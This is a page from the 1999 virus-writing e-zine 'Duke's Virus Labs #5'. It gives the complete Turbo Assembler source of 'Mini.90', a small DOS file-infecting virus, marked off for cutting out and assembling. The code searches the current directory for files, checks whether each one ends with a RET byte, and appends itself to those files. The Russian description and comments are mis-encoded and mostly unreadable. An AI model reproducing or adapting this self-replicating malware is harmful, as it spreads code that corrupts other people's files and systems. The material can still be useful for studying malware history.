- [Duke's Virus Labs #5] - [Page 16] -

Mini.90
(c) by SMT/SMF

     : Mini.90
         : SMT/SMF
 ண.   : Turbo Assembler
 ᮧ : 16.02.99


 । :
   饭  ਬ⨢ ,    䠩 ᫥
   ࠦ.   ⮫쪮 ⠢  祭 , 
    頥 ࠢ ࠦ 䠩.
    ࠦ ⮫쪮 䠩,  稢 ᨬ C3h (..
    ret)  뢠   稭  ⮣ ᨬ :)
   (  ⮬᪠ ஢ઠ  ࠦ ;))
       ,     ...

===== Cut here =====
; Mini.90 by SMT/SMF
; ࠦ  䠩  ⥪饩 ४ਨ,
; ᫨   RET  ⢥ ᫥ .
; ⮬᪨  ஫  ୮ ࠦ :)



                model   tiny
                .286 ;)
                .code
                org     100h

start:          pusha           ;      ணࠬ 㤥
                pushf           ; ࠡ - ⮣ ᪮॥ ᥣ  ॣ 
                push    es      ; 䫠  㦭 ணࠬ 
                push    ds      ; -   ⥫쭮
                push    cs
                pop     ds
                call    $+3
OFFS:           pop     bp
                mov     ah,4Eh              ; ࢮ 䠩
                lea     dx,bp[file_spec-OFFS]

search:
                int     21h
                jnc     infect_file         ; ᫨ 䠩 ,  ࠦ
                pop     ds
                pop     es
                popf
                popa
                ret

infect_file:
                mov     ax,3D02h            ; 뢠 䠩  ⥭
                mov     dx,9Eh              ; DX 㪠뢠   䠩
                int     21h

                xchg    bx,ax               ; BX ᮤন 䠩 handle

                ;஢塞 稥 ret   䠩
                call    SeekToEnd           ; ᬥ頥  

                mov     ah,3fh              ; ,  ⠬ ⮨
                mov     cx,1
                lea     dx,bp[buffer-OFFS]
                int     21h

                mov     al,1                ;  ⠥ ᫥ 
buffer          equ     $-1
                cmp     al,0C3h             ; ret
                jne     Next                ; ᫨  ret,   Next

                call    SeekToEnd           ; ᬥ頥  
                mov     ah,40h              ; 㭪   䠩
                mov     cx,finish-start     ; CL = ᪮쪮  
                                            ; .. ch 뫮 ff
                lea     dx,bp[start-OFFS]
                int     21h

Next:
                mov     ah,3Eh              ; 뢠 䠩
                int     21h

                mov     ah,4Fh              ;  ᫥饣 䠩
                jmp     search              ; 室  ࠦ
;-------------------------------------------
SeekToEnd:
                mov     ax,4202h            ; 㭪 ᬥ饭 㪠⥫
                                            ;   
                xor     cx,cx
                dec     cx
                mov     dx,cx               ; ᬥ饭 = (-1)

                int     21h
                ret
;-------------------------------------------

; ᪮ ret      䠩,  
;   ᯮ짮  '*.*'

file_spec       db      '*.*',0             ;᪠ 䠩  ᪠

finish  :                                   ; 
                end     start
===== Cut here =====
